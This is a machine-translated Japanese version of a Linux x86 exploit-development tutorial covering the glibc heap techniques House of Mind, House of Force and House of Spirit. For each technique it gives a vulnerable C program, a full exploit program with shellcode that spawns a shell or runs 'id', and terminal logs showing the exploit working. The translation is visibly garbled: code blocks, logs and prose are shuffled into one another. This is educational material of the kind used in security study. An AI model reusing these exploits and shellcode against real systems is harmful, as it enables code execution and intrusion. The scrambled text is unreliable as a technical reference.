Linux（x86）エクスプロイト開発チュートリアル第10回MallocMaleficarumのヒープオーバーフローの使用

Linux Exploit Development Tutorial 10th Using Malloc Maleficarums Heap Overflow

翻訳者： フライングドラゴン

元の： MallocMaleficarumを使用したヒープオーバーフロー

前提条件：

1. glibcmallocを理解する

2004年の終わり以来、glibcmallocの信頼性は向上しています。その後、リンク解除などの手法は放棄され、攻撃者には手がかりがありません。しかし、2005年の終わりに、Phantasmal Phatasmagoriaは、ヒープオーバーフローをうまく利用するために、次の手法を導入しました。

• ハウスオブプライム
• 心の家
• ハウスオブフォース
• 伝承の家
• 精神の家

心の家

この手法では、攻撃者はglibc mallocをだまして、自分が作成したアリーナを使用します。偽のアリーナはこの形式で構築され、ソートされていないビンのfdにはfree GOTエントリ-12のアドレスが含まれます。したがって、脆弱なプログラムがブロックを解放すると、free GOTエントリがシェルコードのアドレスで上書きされます。 GOTの​​上書きに成功した後、脆弱なプログラムがfreeを呼び出すと、シェルコードが実行されます。

前提条件：ヒープオーバーフローの脆弱性を持つすべてのプログラムがこの手法を使用して悪用できるわけではないため、House ofMindを正常に適用するための前提条件は次のとおりです。

1. ブロックのアドレスの前に、一連のmalloc呼び出しが必要です-メモリ領域にアラインされた場合HEAP_MAX_SIZE結果が複数の場合、メモリ領域は攻撃者によって制御されます。これは偽造されていますheap_info構造が配置されているメモリ領域。偽造heap_infoアリーナポインターar_ptr偽のアリーナを指し示します。したがって、偽のアリーナと偽のheap_infoすべてのメモリ領域は攻撃者によって制御される可能性があります。

   
   
   

2. サイズフィールド（およびそのアリーナポインタ-前提条件1）が攻撃者によって制御されており、解放されているはずのブロック。

3. 上記の空きブロックの次のブロックは、一番上のブロックであってはなりません。

脆弱なプログラム：このプログラムは、上記の前提条件を満たしています。

/* vuln.c House of Mind vulnerable program */ #include #include int main (void) { char *ptr = malloc(1024) /* First allocated chunk */ char *ptr2 /* Second chunk/Last but one chunk */ char *ptr3 /* Last chunk */ int heap = (int)ptr & 0xFFF00000 _Bool found = 0 int i = 2 for (i = 2 i <1024 i++) { /* Prereq 1: Series of malloc calls until a chunk's address - when aligned to HEAP_MAX_SIZE results in 0x08100000 */ /* 0x08100000 is the place where fake heap_info structure is found. */ /* [1] */ if (!found && (((int)(ptr2 = malloc(1024)) & 0xFFF00000) == (heap + 0x100000))) { printf('good heap allignment found on malloc() %i (%p) ', i, ptr2) found = 1 break } } /* [2] */ ptr3 = malloc(1024) /* Last chunk. Prereq 3: Next chunk to ptr2 != av->top */ /* User Input. */ /* [3] */ fread (ptr, 1024 * 1024, 1, stdin) /* [4] */ free(ptr2) /* Prereq 2: Freeing a chunk whose size and its arena pointer is controlled by the attacker. */ /* [5] */ free(ptr3) /* Shell code execution. */ return(0) /* Bye */ }

上記の脆弱なプログラムのヒープメモリ：

脆弱なプログラム行[3]ここでヒープオーバーフローが発生します。ユーザー入力はブロック1に格納されますmemポインターでは、合計サイズは1MBです。したがって、ヒープオーバーフローを悪用するために、攻撃者は次のユーザー入力を提供します（同じ順序でリストされています）。

• 偽のアリーナ
• ジャンクデータ
• 鍛造heap_info
• シェルコード

悪用プログラム：このプログラムは、攻撃者のデータファイルを生成します。

/* exp.c Program to generate attacker data. Command: #./exp > file */ #include #define BIN1 0xb7fd8430 char scode[] = /* Shellcode to execute linux command 'id'. Size - 72 bytes. */ 'x31xc9x83xe9xf4xd9xeexd9x74x24xf4x5bx81x73x13x5e' 'xc9x6ax42x83xebxfcxe2xf4x34xc2x32xdbx0cxafx02x6f' 'x3dx40x8dx2ax71xbax02x42x36xe6x08x2bx30x40x89x10' 'xb6xc5x6ax42x5exe6x1fx31x2cxe6x08x2bx30xe6x03x26' 'x5ex9ex39xcbxbfx04xeax42' char ret_str[4] = 'x00x00x00x00' void convert_endianess(int arg) { int i=0 ret_str[3] = (arg & 0xFF000000) >> 24 ret_str[2] = (arg & 0x00FF0000) >> 16 ret_str[1] = (arg & 0x0000FF00) >> 8 ret_str[0] = (arg & 0x000000FF) >> 0 } int main() { int i=0,j=0 fwrite('x41x41x41x41', 4, 1, stdout) /* fd */ fwrite('x41x41x41x41', 4, 1, stdout) /* bk */ fwrite('x41x41x41x41', 4, 1, stdout) /* fd_nextsize */ fwrite('x41x41x41x41', 4, 1, stdout) /* bk_nextsize */ /* Fake Arena. */ fwrite('x00x00x00x00', 4, 1, stdout) /* mutex */ fwrite('x01x00x00x00', 4, 1, stdout) /* flag */ for(i=0i<10i++) fwrite('x00x00x00x00', 4, 1, stdout) /* fastbinsY */ fwrite('xb0x0ex10x08', 4, 1, stdout) /* top */ fwrite('x00x00x00x00', 4, 1, stdout) /* last_remainder */ for(i=0i<127i++) { convert_endianess(BIN1+(i*8)) if(i == 119) { fwrite('x00x00x00x00', 4, 1, stdout) /* preserve prev_size */ fwrite('x09x04x00x00', 4, 1, stdout) /* preserve size */ } else if(i==0) { fwrite('xe8x98x04x08', 4, 1, stdout) /* bins[i][0] = (GOT(free) - 12) */ fwrite(ret_str, 4, 1, stdout) /* bins[i][1] */ } else { fwrite(ret_str, 4, 1, stdout) /* bins[i][0] */ fwrite(ret_str, 4, 1, stdout) /* bins[i][1] */ } } for(i=0i<4i++) { fwrite('x00x00x00x00', 4, 1, stdout) /* binmap[i] */ } fwrite('x00x84xfdxb7', 4, 1, stdout) /* next */ fwrite('x00x00x00x00', 4, 1, stdout) /* next_free */ fwrite('x00x60x0cx00', 4, 1, stdout) /* system_mem */ fwrite('x00x60x0cx00', 4, 1, stdout) /* max_system_mem */ for(i=0i<234i++) { fwrite('x41x41x41x41', 4, 1, stdout) /* PAD */ } for(i=0i<722i++) { if(i==721) { /* Chunk 724 contains the shellcode. */ fwrite('xebx18x00x00', 4, 1, stdout) /* prev_size - Jmp 24 bytes */ fwrite('x0dx04x00x00', 4, 1, stdout) /* size */ fwrite('x00x00x00x00', 4, 1, stdout) /* fd */ fwrite('x00x00x00x00', 4, 1, stdout) /* bk */ fwrite('x00x00x00x00', 4, 1, stdout) /* fd_nextsize */ fwrite('x00x00x00x00', 4, 1, stdout) /* bk_nextsize */ fwrite('x90x90x90x90x90x90x90x90' 'x90x90x90x90x90x90x90x90', 16, 1, stdout) /* NOPS */ fwrite(scode, sizeof(scode)-1, 1, stdout) /* SHELLCODE */ for(j=0j<230j++) fwrite('x42x42x42x42', 4, 1, stdout) /* PAD */ continue } else { fwrite('x00x00x00x00', 4, 1, stdout) /* prev_size */ fwrite('x09x04x00x00', 4, 1, stdout) /* size */ } if(i==720) { for(j=0j<90j++) fwrite('x42x42x42x42', 4, 1, stdout) /* PAD */ fwrite('x18xa0x04x08', 4, 1, stdout) /* Arena Pointer */ for(j=0j<165j++) fwrite('x42x42x42x42', 4, 1, stdout) /* PAD */ } else { for(j=0j<256j++) fwrite('x42x42x42x42', 4, 1, stdout) /* PAD */ } } return 0 }

攻撃者がユーザー入力としてデータを生成した後の、脆弱なプログラムのヒープメモリ：

攻撃者がユーザー入力としてデータを生成した後、glibcmallocは次のことを実行します。[4]実行されると：

• 解放されるヒープのアリーナには、arena_for_chunk Obtainからアクセスします。
  
  • arena_for_chunk：設定されていない場合NON_MAIN_ARENA (N)メインアリーナに戻ります。設定されている場合、ブロックアドレスをHEAP_MAX_SIZEの倍数に揃えて、対応するheap_info構造にアクセスします。その後、取得したheap_info構造体のアリーナポインタが返されます。ここにいますNON_MAIN_ARENAビットは攻撃者によって設定されているため、heap_info構造（0x08100000）を取得します。攻撃者は、偽のアリーナを指す（取得したheap_info構造）アリーナポインタもカバーしました。つまり、heap_info of ar_ptr偽のアリーナのベースアドレス（0x0804a018）。
• アリーナポインタとブロックアドレスをパラメータとして呼び出します_int_free。ここで、アリーナポインタは偽のアリーナを指しています。したがって、偽のアリーナとブロックアドレスはパラメータとして_int_freeに渡されます。
  
  • 鍛造アリーナ：以下は、攻撃者が上書きする必要がある鍛造エリアの制御フィールドです。
    
    • ミューテックス-ロックを解除する必要があります。
    • ビン-ソートされていないビンのfdには、free GOTエントリのアドレスが含まれている必要があります。
    • トップトップアドレスは、解放されるブロックのアドレスと同じであってはなりません。
    • システムメモリ-システムメモリは、次のブロックサイズよりも大きくする必要があります。
  • _int_free()
    
    • ブロックがmmapによって割り当てられていない場合は、ロックを取得します。ここでのブロックはmmapによって割り当てられておらず、偽のアリーナのミューテックスロックが正常に取得されています。
    • 組み合わせる：
      
      • 前のブロックが空いているかどうかを確認し、空いている場合はマージします。ここの前のブロックは割り当てられているため、逆方向にマージすることはできません。
      • 次のブロックが空いているかどうかを確認し、空いている場合はマージします。ここの次のブロックは割り当てられているため、マージできません。
    • 現在の空きブロックを並べ替えられていないビンに入れます。ここで偽造したアリーナのソートされていないビンのfdには、free GOTエントリアドレス-12が含まれており、fwd valueにコピーされました。その後、現在の空きアドレスがfwd->bkにコピーされます。bk嘘malloc_chunk 12でオフセットされるため、fwd値に12が追加されます。これは| _です。 + _ |。だから今free - 12 + 12 GOTエントリは現在の空きブロックのアドレスになります。攻撃者は自分のシェルコードを現在の空きブロックに配置しているため、freeを呼び出すたびに、攻撃者のシェルコードが実行されます。

攻撃者が生成したデータファイルをユーザー入力として使用して脆弱なプログラムを実行すると、次のようにシェルコードが実行されます。

free

保護：glibc mallocの信頼性が向上したため、house ofmindテクノロジーは機能しなくなりました。心の家を使用してヒープオーバーフローを防ぐために、次のチェックを追加します。

• ブロックの破棄：ソートされていないビンの最初のブロックsploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2 sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ gcc -g -o exp exp.c sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ ./exp > file sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ ./vuln 0x804a008 good heap allignment found on malloc() 724 (0x81002a0) uid=1000(sploitfun) gid=1000(sploitfun) groups=1000(sploitfun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)ポインターはソートされていないビンを指している必要があります。そうでない場合、glibcmallocはブロック破壊エラーをスローします。

  bk

ハウスオブフォース

この手法では、攻撃者は最上位ブロックのサイズを悪用し、glibc mallocをだまして最上位ブロックを使用して非常に大きなメモリ要求（ヒープシステムのメモリサイズよりも大きい）を処理します。これで、新しいmallocリクエストが生成されると、if (__glibc_unlikely (fwd->bk != bck)) { errstr = 'free(): corrupted unsorted chunks' goto errout } GOTテーブルがシェルコードアドレスで上書きされます。したがって、これからは関係なくfree呼び出されるたびに、シェルコードが実行されます。

前提条件：House of Forceを正常に適用するには、次の3つのmalloc呼び出しが必要です。

• Malloc 1：攻撃者はトップブロックのサイズを制御できるはずです。したがって、この割り当てられたブロックは、物理的に一番上のブロックの前のブロックにあり、ヒープオーバーフローを引き起こす可能性があります。
• Malloc 2：攻撃者はmallocリクエストのサイズを制御できる必要があります。
• Malloc 3：ユーザー入力をこの割り当てられたブロックにコピーできる必要があります。

脆弱なプログラム：このプログラムは上記の要件を満たしています

free

上記の脆弱なプログラムのヒープメモリ：

脆弱なプログラム行/* House of force vulnerable program. */ #include #include #include int main(int argc, char *argv[]) { char *buf1, *buf2, *buf3 if (argc != 4) { printf('Usage Error ') return } /* [1] */ buf1 = malloc(256) /* [2] */ strcpy(buf1, argv[1]) /* Prereq 1 */ /* [3] */ buf2 = malloc(strtoul(argv[2], NULL, 16)) /* Prereq 2 */ /* [4] */ buf3 = malloc(256) /* Prereq 3 */ /* [5] */ strcpy(buf3, argv[3]) /* Prereq 3 */ /* [6] */ free(buf3) free(buf2) free(buf1) return 0 }ここでヒープオーバーフローが発生します。したがって、ヒープオーバーフローを悪用するには、攻撃者は次のコマンドラインパラメータを提供する必要があります。

• [2] –最初のmallocブロックにコピーする必要があるシェルコード+パディング+トップブロックサイズ。
• argv[1] –2番目のmallocブロックのサイズパラメーター。
• argv[2] –ユーザー入力が3番目のmallocブロックにコピーされました。

使用手順：

argv[3]

攻撃者のコマンドラインパラメータがヒープにコピーされると、脆弱なプログラムのヒープメモリ：

攻撃者のパラメータを使用すると、次のことが起こります。

行/* Program to exploit executable 'vuln' using hof technique. */ #include #include #include #define VULNERABLE './vuln' #define FREE_ADDRESS 0x08049858-0x8 #define MALLOC_SIZE '0xFFFFF744' #define BUF3_USER_INP 'x08xa0x04x08' /* Spawn a shell. Size - 25 bytes. */ char scode[] = 'x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x89xe2x53x89xe1xb0x0bxcdx80' int main( void ) { int i char * p char argv1[ 265 ] char * argv[] = { VULNERABLE, argv1, MALLOC_SIZE, BUF3_USER_INP, NULL } strcpy(argv1,scode) for(i=25i<260i++) argv1[i] = 'A' strcpy(argv1+260,'xFFxFFxFFxFF') /* Top chunk size */ argv[264] = '' /* Terminating NULL character */ /* Execution of the vulnerable program */ execve( argv[0], argv, NULL ) return( -1 ) }上部のブロックサイズを上書きします：

• 攻撃者のパラメータ（[2]）はヒープバッファargv[1] – Shellcode + Pad + 0xFFFFFFFFにコピーされます。ただし、buf1 256より大きいため、一番上のブロックのサイズはargv[1]として上書きされます。

行0xFFFFFFFF一番上のブロックコードを使用して、非常に大きなブロックが割り当てられます。

• 非常に大きなブロックの割り当て要求は割り当て後に発生し、新しい最上位ブロックはGOTエントリの8バイト前に配置する必要があります。したがって、別のmallocリクエスト（行[3]）は、free GOTアドレスをカバーするのに役立ちます。
• 攻撃者のパラメーター（[4]）はサイズパラメーターとして使用され、2番目のmalloc呼び出し（line free）に渡されます。サイズパラメータは、次の式を使用して計算されます。
  
  • argv[2] – 0xFFFFF744
  • その中で
    
    • [3]実行可能size = ((free-8)-top) GOTエントリ、つまりfree。
    • vuln現在の最上位ブロック（最初のmalloc free = 0x08049858後）、つまりtopです。
  • したがって[1]。
  • top = 0x0804a108 Timeの場合、タスクは新しい最上位ブロックをGOTエントリの8バイト前に配置することです。これは次のように実行されます。
    
    • size = ((0x8049858-0x8)-0x804a108) = -8B8 = 0xFFFFF748
  • しかし、攻撃者がサイズパラメータを渡すとsize = 0xFFFFF748 Glibcmallocはこのサイズを使用可能なサイズに変換しますfree。したがって、新しいトップブロックサイズは(0xFFFFF748+0x804a108) = 0x08049850 = (0x08049858-0x8)ではなく0xFFFFF748になります。したがって、攻撃者は0xFFFFF750ではなく0x8049858サイズパラメータとして渡す必要があります。これは、必要な使用可能なサイズに変換されるためです0x8049850。

インライン0xFFFFF744インライン：

• OK 0xFFFFF748上のブロックが0xFFFFF748を指しているため、256バイトのメモリ割り当て要求によりglibcmallocが[4]に戻り、彼は[3]にコピーします。

インライン0x8049850インライン：

will 0x8049858アドレスをbuf3にコピーします。これにより、GOTが上書きされます。したがって、[5] Call（line buf1）により、シェルコードが実行されます。

攻撃者のコマンドラインパラメータを使用して脆弱なプログラムを実行すると、次のようなシェルコードが実行されます。

buf3

保護：これまで、この手法に保護は追加されていません。この手法は、最新のglibcコンパイルを使用している場合でも、ヒープオーバーフローを利用するのに役立ちます。

精神の家

この手法では、攻撃者はglibc mallocをだまして、（ヒープではなく）スタック上にあるブロックを返します。これにより、攻撃者はスタックに保存されているリターンアドレスを上書きできます。

前提条件：ヒープオーバーフローの脆弱性を持つすべてのプログラムがこの手法を使用できるわけではないため、以下は、house ofspiritを正常に使用するための前提条件です。

• glibc mallocによって返される、ブロックアドレスを含む変数を上書きするために使用されるバッファオーバーフロー。
• 上記のブロックは空いているはずです。攻撃者は、この空きブロックのサイズを制御できるはずです。このようにして、空きブロックのサイズが次に割り当てられたブロックのサイズと等しくなるように制御されます。
• Malloc1ブロック。
• ユーザー入力は、上記で割り当てられたブロックにコピーできる必要があります。

脆弱なプログラム：このプログラムは上記の要件を満たしています

free

上記の脆弱なプログラムのスタックレイアウト：

脆弱なプログラム行[6]これはバッファオーバーフローが発生した場所です。したがって、脆弱なプログラムを悪用するには、攻撃者は次のコマンドラインパラメータを提供する必要があります。

sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2 sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ gcc -g -o exp exp.c sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ ./exp $ ls cmd exp exp.c vuln vuln.c $ exit sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$

使用手順：

/* vuln.c House of Spirit vulnerable program */ #include #include #include void fvuln(char *str1, int age) { char *ptr1, name[44] int local_age char *ptr2 [1]local_age = age /* Prereq 2 */ [2]ptr1 = (char *) malloc(256) printf(' PTR1 = [ %p ]', ptr1) [3]strcpy(name, str1) /* Prereq 1 */ printf(' PTR1 = [ %p ] ', ptr1) [4]free(ptr1) /* Prereq 2 */ [5]ptr2 = (char *) malloc(40) /* Prereq 3 */ [6]snprintf(ptr2, 40-1, '%s is %d years old', name, local_age) /* Prereq 4 */ printf(' %s ', ptr2) } int main(int argc, char *argv[]) { int i=0 int stud_class[10] /* Required since nextchunk size should lie in between 8 and arena's system_mem. */ for(i=0i<10i++) [7]stud_class[i] = 10 if (argc == 3) fvuln(argv[1], 25) return 0 }

攻撃者のパラメータを使用した後、上記の脆弱なプログラムのスタックレイアウト：

攻撃者のパラメータを使用して、リターンアドレスがどのように上書きされるかを見てみましょう。

行[3]：バッファオーバーフロー

• ここで、攻撃者の入力argv[1] = Shell Code + Stack Address + Chunk size文字バッファにコピー/* Program to exploit executable 'vuln' using hos technique. */ #include #include #include #define VULNERABLE './vuln' /* Shellcode to spwan a shell. Size: 48 bytes - Includes Return Address overwrite */ char scode[] = 'xebx0ex41x41x41x41x41x41x41x41x41x41xb8xfdxffxbfx31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x89xe2x53x89xe1xb0x0bxcdx80x90x90x90x90x90x90x90' int main( void ) { int i char * p char argv1[54] char * argv[] = { VULNERABLE, argv1, NULL } strcpy(argv1,scode) /* Overwrite ptr1 in vuln with stack address - 0xbffffdf0. Overwrite local_age in vuln with chunk size - 0x30 */ strcpy(argv1+48,'xf0xfdxffxbfx30') argv[53] = '' /* Execution of the vulnerable program */ execve( argv[0], argv, NULL ) return( -1 ) } in。攻撃者の入力が44より大きいため、変数[3] with argv[1]スタックアドレスとブロックサイズでカバーされます。
  
  • スタックアドレス（name）-行ptr1が実行されると、攻撃者はglibcmallocをだましてこのアドレスを返します。
  • ブロックサイズ（loacl_age）-行0xbffffdf0が実行されると、このブロックサイズはglibcmallocを欺くために使用されます。

行[5]：スタック領域をglibcmallocのfastbinに追加します。

• 0x30呼び出されました[4]。バッファオーバーフローの後、[4]（free()の代わりに）。 Covered _int_free()パラメーターとしてptr1 = 0xbffffdf0に渡されます。これは、glibc mallocをだまして、スタック上のメモリ領域を解放します。 0x804aa08にある、解放されたスタック領域のサイズ。攻撃者はptr1としてカバーします。したがって、glibc mallocはこのブロックを高速ブロックとして扱い（freeのため）、下付き文字4にある高速ビンリストの前に高速リリースを挿入します。

行ptr1-8+4 :(オンライン0x30追加された）スタック領域を取得します

• mallocリクエスト40by 48 <64使用可能なサイズ48に変換されます。使用可能な委託品48は高速ブロックに属しているため、対応する高速ビン（添え字4にあります）が取得されます。高速ビンリストの最初のブロックがオーバーフローし、ユーザーに返されます。最初のブロックは、実行中に追加された行[5]スタック領域にあります。

行[4]：リターンアドレスを上書きする

• 攻撃者のパラメータchecked_request2sizeスタック領域にコピーされ（glibc mallocによって返されます）、それはfrom [4]位置が始まります。[6]の最初の16バイトは次のとおりです。
  
  • argv[1]：JMP14バイト。
  • 0xbffffdf0：充填。
  • argv[1]：スタックに格納されている戻りアドレスはこの値で上書きされます。したがって、in xebx0e実行後、EIPはx41x41x41x41x41x41x41x41x41x41 –この場所には、JMP命令と、それに続く派生シェルのシェルコードが含まれています。

攻撃者のパラメータを使用して脆弱なプログラムを実行すると、次のようなシェルコードが実行されます。

xb8xfdxffxbf

保護：これまで、この手法に保護は追加されていません。この手法は、最新のglibcコンパイルを使用している場合でも、ヒープオーバーフローを利用するのに役立ちます。

プライムの家：TBU

House of Lore：TBU

注：デモンストレーションの目的で、すべての脆弱なプログラムが次のLinux保護メカニズムでコンパイルされているわけではありません。

• ASLR
• NX
• RELRO（リダイレクト読み取り専用）

参照

• Malloc Maleficarum